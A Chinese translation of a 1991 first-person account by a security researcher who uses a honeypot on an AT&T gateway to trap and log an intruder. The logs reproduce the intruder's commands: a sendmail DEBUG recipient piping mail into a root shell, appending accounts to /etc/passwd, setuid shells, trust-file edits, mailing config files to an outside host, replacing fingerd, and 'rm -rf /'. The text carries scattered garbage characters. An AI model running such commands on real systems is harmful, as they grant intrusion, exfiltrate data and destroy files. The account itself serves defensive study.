引诱、欺骗并研究一个黑客——陪伴berferd的一个夜晚

在1991年1月7号，一个黑客，他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客，试图获得我们的password文件，我“送”给他了一份。
在几个月中，我们引诱这名黑客作各种快乐的尝试，以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败，我们使用的诱饵和陷阱的详细记录
' [  q  u4 O" B, g我们的结论是我们所遇到的这个黑客拥有大量的时间，固执异常，并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份，使用那些漏洞他可以轻易的攻破uucp和bin帐号，然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
$ N, D7 \) L7 h" f; V1 k* V简介
我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门，我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人，那么他们是谁？他们会攻击什么地方？会多么频繁？他们经常尝试系统的那些漏洞？
事实上，他们没有对AT&T作出破坏，甚至很少光顾我们的这扇大门，那么，最终的乐趣只有如此，引诱一个黑客到一个我们设计好的环境中，记录下来他的所有动作，研究其行为，并提醒他的下一个目标作出防范。
& f3 f, l9 S$ Z. h大多数Internet上的工作站很少提供工具来作这些事情，商业系统检测并报告一些问题，但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢？
& ^0 _8 N6 R2 M' M: I7 `我们添加了一些虚假的服务在系统上，同时我编写了一个script文件用来检索每天的日志。我们检查以下几点：
FTP ：检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用（这是个老版本的ftp的漏洞）、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称，然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下，我们伪造了一个passwd文件，它的密码被破解后是“why are you wasting your time.”
) G; E% k( S4 YTelnet / login ：所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号，或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户，很容易就可以找到问题所在。
Guest / visitor 帐号：黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的，最轻易的获取几乎系统的所有文件的机会，包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的：
exec 2>/dev/null # ensure that stderr doesn't appear
trap "" 1
/bin/echo
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
  F; M1 h/ [/ y2 j9 q+ s* hupasname=adm /bin/mail ches dangelo &
# (notify calling machine's administrator for some machines...)
# (finger the calling machine...)
) 2>&1 | mail ches dangelo
0 B2 l7 N+ j- x0 w/ B/bin/echo "/tmp full"
6 E- l* q4 f5 n( P# `6 \sleep 5 # I love to make them wait....
/bin/echo "/tmp full"
' e! |' X2 s- x  y. i: Q5 X/bin/echo "/tmp full"
/bin/echo
  f- e- o! P7 a* c( D7 z4 j- qsleep 60 # ... and simulating a busy machine is useful
我们必须小心以便不让调用者看到系统的标志出错信息（如果一旦我们编写的script有误）。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login，它将可以通过环境变量来获取。
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞，但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时，我就获得了他尝试的script代码。
/ Z# B6 ?1 j. y# N9 R, q- YFinger ：Finger提供了大量有用的信息给黑客：帐号名，该帐号的最后一次使用时间，以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人，我们置入了一个程序，在finger了fingerd的调用者后拒绝figner请求。（当然我们会避免对来自自己的finger信息的死循环）。报告表明每天有数以十计的finger请求，其中大部分是合法的。
Rlogin / rsh ：这些命令都是基于一些无条件信任的系统，我们的机器并不支持。但我们会finger使用这些命令的用户，并将他的尝试和用户信息等生成报告。
上述很多探测器都使用figner命令来查明调用的机器和使用者。
当一个尝试显示为有不合法企图时，我就发出这样一条消息：
' ?- z' L, H9 Z9 w' ]inetfans postmaster@sdsu.edu
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
4 i$ y2 R0 F) l/ dfrom our FTP directory. The file is not important, but these probes
, T1 b0 o! l* i; y% }0 d8 Qare sometimes performed from stolen accounts.
) U3 H  h5 y8 FJust thought you'd like to know.
2 ?( I6 y+ c! w5 v( X8 ]Bill Cheswick
这是一个典型的信件，它被发往“inetfans”，这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。
9 E2 o7 q) D* h' W很多系统管理员很重视这些报告，尤其是军事站点。通常，系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉，拒绝信件，关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时，我们会考虑拒收来自该站的所有信息包。
  M- O$ f. o/ ]不友好的行动
; g: A, [8 A3 Q/ ^1 q我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高，因为我们是广为人知的，并被认为是“电话公司”。
  U; }8 x: \0 `2 N当一个远程使用者取走passwd文件时，并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
5 V' Y  |+ Q9 R, x8 h' E19:43:14 smtpd[27466]: -------> debug
  |, ^0 z! t& ?$ {! r19:43:14 smtpd[27466]: DEBUG attempt
3 ~, X& r2 t0 t% ?5 n( ], A1 O19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
- @: d7 O3 V% U5 ^9 g5 s) p19:43:25 smtpd[27466]: <--- 503 Expecting HELO
8 N3 w" ?9 b1 g4 k0 A9 }19:43:34 smtpd[27466]: -------> helo
6 k# p3 a  h. t' b/ L# A19:43:34 smtpd[27466]: HELO from
( t4 n2 ~4 Z+ G1 Y7 L" Q' I19:43:34 smtpd[27466]: <--- 250 inet.att.com
19:43:42 smtpd[27466]: -------> mail from:
19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
* m/ F& i9 I) O& l) g" H% x4 n: }19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
7 l7 v) y$ I8 R& T19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
3 c) F$ ?$ N, N( ~+ i+ R19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
19:45:04 smtpd[27466]: <--- 250 OK
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
0 ~; S, z9 M( O9 P0 w19:45:08 smtpd[27466]: -------> quit
" {! {# v# B" b3 Z5 I' V6 ~19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
0 ?' v; _4 N, n2 U: V. d19:45:08 smtpd[27466]: finished.
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中，另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即：
sed -e '1,/?$/'d | /bin/sh ; exit 0"
它剥去了邮件头，并使用ROOT身份执行了消息体。这段消息邮寄给了我，这是我记录下来的，包含时间戳：
' c9 g# V2 ?! R+ B/ s& Y1 f) m, [) w19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件，就用root身份给Stanford发了过去。
6 s% ]8 k( x8 F第二个早晨，我听到了来自Stanford的消息：他们知道了这件事，并正在发现问题所在。他们说adrian这个帐号被盗用了。
接着的一个星期天我接到了从法国发来的一封信：
To: root@research.att.com
2 e9 }8 p# K# R7 D# e# i! b& ySubject: intruder
) R! }* @$ q, I, m$ F: PDate: Sun, 20 Jan 91 15:02:53 +0100
I have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
, v8 j  l9 m0 M4 v& J$ h(she) has left a file called passwd. The contents are:
+ D3 n# v- w/ a------------>
8 N+ V( F9 b8 Q6 PFrom root@research.att.com Tue Jan 15 18:49:13 1991
# r0 S* }8 i: @7 X1 [0 g3 mReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
From: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
" e/ h8 g! y" }% z, A. |% zTo: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
* {- N' X2 g4 w- T" k/ h5 ^Daemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
: U/ w/ u% U0 N9 ^, [Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
! h) l* M6 f7 _# ^/ I- c$ gAdm: *:4:4:0000-Admin(0000):/usr/adm:
! N6 r* K. ?" c; H% U( [! UUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
$ J9 G' t2 A& v. FNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
  O4 d9 Y5 }4 JDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
# e! G8 J! g! P1 C* `$ G# @Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
) M% l$ Y( ]$ S) ^Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
: J  q3 b* R( y# j8 [! TTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R
, i# _' T- y: M. B------------Please let me know if you heard of him.
% n6 ], ^7 I3 s6 y2 q; W. C陪伴Berferd的一个夜晚
1月20号，星期天晚上，我的终端报告有安全敏感事件。
22:33 finger attempt on berferd
几分钟后，有人试图使用DEBUG来用ROOT身份执行命令，他试图修改我们的passwd文件！
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
9 c9 x/ @- l0 [$ rcp /bin/sh /tmp/shell
5 a+ M# T# ^, \. d+ O  t6 P4 ichmod 4755 /tmp/shell
) w( ^, f( n/ m& N3 A$ z连接同样来自EMBEZZLE.STANFORD.EDU。
2 N3 q& s, e0 N: C我该怎么作呢？我不希望他真的能获得一个网关的帐号，为什么引狼入室呢？那样我将得不到他的键盘活动。
) |5 a- v) e2 T6 T0 R, |1 o我应该继续看看他关注的其他事情，或许我可以手工模拟一下操作系统，这意味着我必须让他以为机器速度很慢，因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。
我已经有一个要求了，因为他已经持有了一份passwd。
6 l* `  c6 c( X9 @# ]6 ^决定一：ftp的passwd是一个真实的passwd。
还有另外的两个：
决定二：网关机器管理极差。（有DEBUG漏洞，ftp目录里有passwd）。
: K0 d* b& q* o: a6 T, |+ Q) ]决定三：网关机器极慢。
因此我决定让他以为他已经改变了passwd文件，但却不急于让他进来。我必须生成一个帐号，但却使它不可操作。我应该怎么办？
决定四：我的shell并没有放在/bin下，它放在其他地方。这样，他进来后（让他认为passwd已经改动了），没有可运行的shell。
6 e) c. M/ M$ p& r  q% M这个决定很愚蠢，但我不会因此损失任何东西。我写了一个script，生成了一个临时帐号b，当它被调用时它会给我发信，调用者将看到如下信息：
RISC/os (inet)
login: b
) L7 i' y2 O* ~) S9 f. p' k; GRISC/os (UMIPS) 4.0 inet
% T) }& L! ~7 S2 o; H. bCopyright 1986, MIPS Computer Systems
2 A" b; e7 w, \+ V8 iAll Rights Reserved
Shell not found
6 l0 O: U4 r' C1 g+ P我把b帐号在实际passwd文件中改成了beferd，当我作完后，他在此尝试：
% ]6 Q% b$ h3 j: A" s22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
& `& S  m9 Y" \& v他的另一个试图添加到passwd文件的尝试。事实上，在我为bferd完成新的配置之前他开始急躁了：
, }5 O3 ?9 g$ y. U  O" Q22:45 talk adrian@embezzle.stand?Hford.edu
$ ]0 c, E# E' O9 @1 t& u& q/ V* ~talk adrian@embezzle.stanford.edu
% I" r4 n8 Y2 u决定五：我们没有talk这个命令。
# \. M8 G! {- u5 |/ _/ E他选择了berferd这个帐号：
! i  a! G9 a, i, o  X+ G22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
  t- `' k) p: K1 s$ T1 i8 {- }22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
. R) X' e4 {, }2 w. k22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
$ x6 e" s3 y! s2 i2 b- J22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
22:57 (Added bfrd to the real password file.)
% a) l& B( l4 x5 {+ R4 T) p* n, _22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
! L& q" b+ c' F- u' Q  Q) Z7 K- \22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:05 echo "36.92.0.205" >/dev/null
# e$ s1 h/ y0 S+ xecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
. y" l8 h) d- a: u8 H1 O23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
7 {4 N* E, J. Q9 [7 k( \+ R23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
0 r2 |1 T! L( p4 v; [9 W# K6 u. x/ F很显然他希望能够rlogin到我们的网关，这需要一些本地文件的特定设置。我们并没有作rlogin的检测。
3 d+ R5 ^2 @9 R1 Z; s' V这时他又有新的动作：
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
. k5 _0 k# w5 J* x7 _7 f23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
( m6 ]* [3 \. Wps -aux|mail adrian@embezzle.stanford.edu
在rlogin失败后，他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf，但伪造一个又非常困难。
  V$ F1 M, t+ o$ J  W0 {决定七：网关机器运行不稳定，时有不确定事件。
+ l9 A/ B2 E/ t* @* Y* }23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
ps -aux|mail adrian@embezzle.stanford.edu
) K1 l% q3 c# A) R( ~mail adrian@embezzle.stanford.edu < /etc/inetd.conf
我不希望他看到ps的结果，幸运的是，他的Berkeley系统的ps命令在我的System V机器上是无效的。
8 H# S% J# _0 e这时我通知了CERT，这时一起严重的攻击事件，在Stanford也应该有追踪这些请求的人。这时，活动又转到ftp上来：
7 i' |# ?9 Y& r% a3 lJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
& T8 N' s" W' e; B8 S$ ]Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
1 S! r$ a% h' ?7 `2 i0 S! NJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
9 Q2 j% W* M3 a- o/ L, _Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
8 [% z+ I# d7 [& X# U; p4 \# g5 s) bJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
% p3 M" K( v' a- }Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
& I! ]4 F' u) E+ L9 L( {3 x9 QJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
& d: J. |* g$ G  h* m. Z' Drecognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
- v3 q5 P* z/ R$ m# a) cJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
/ F2 ^: v/ q5 f# u  _! eJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
Jan 20 23:37:31 inet inetd[116]: exit 14437
& k0 q1 @, ^( \3 j2 a/ ^Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
Jan 20 23:37:41 inet inetd[116]: exit 14454
2 ]2 n2 i8 J' I1 o) Z! Q23:38 finger attempt on berferd
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
2 Q2 \4 N% X/ i23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
6 Q. j" J6 ^3 }7 Z0 jcp /bin/sh /usr/etc/fingerd
8 a1 W8 v$ B' W7 S& u  \2 ?" @决定四已经决定了最后一行的尝试必然失败。因此，他只是破坏了我们模拟的机器上的finger而已，并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
. @) i9 K, c* N) j& o23:58 cp /bin/csh /usr/etc/fingerd
; |0 W$ k) q) Q我们模拟的机器上csh并不在/bin下，因此这个命令无效。
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
好吧，fingerd现在重新开始工作。Berferd的恢复工作干的不错。
9 ]- m1 i) B2 y; i00:14 passwd bfrt
! u1 C, E4 _4 p2 p5 m7 ybfrt
4 p/ s+ _+ O) R8 g) c4 Qbfrt
现在他试图修改password，这永远不会成功，因为passwd的输入是/dev/tty，不是sendmail所执行的shell script。
- }8 O" I- }. M# h00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
# I/ r8 n$ v5 s00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
00:19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
: P. a$ E7 x5 G00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 l1 @: y+ V1 i' g- w9 W# [" n00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
# y& r, I0 p/ _这时我已经很累了。
01:55 rm -rf /&
! W1 W% z# \7 ]! ]9 y: S喔！！太狠了！显然机器的状态让他迷惑，他希望能清除所有的痕迹。有些黑客会保护自己所作的工作，声明自己不作任何破坏。我们的黑客对我们感到疲劳了，因此以此结束。
他继续工作了几分钟，后来放弃：
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
: ?+ d/ c3 n" q7 n" l07:17 finger attempt on berferd
) _5 {* N$ |$ b& z07:19 /bin/rm -rf /&
/bin/rm -rf /&
3 |1 h" I2 m% n0 W4 t4 g07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% Y5 o% j9 ^- S; n- u09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% K6 G7 L1 g$ \6 d6 [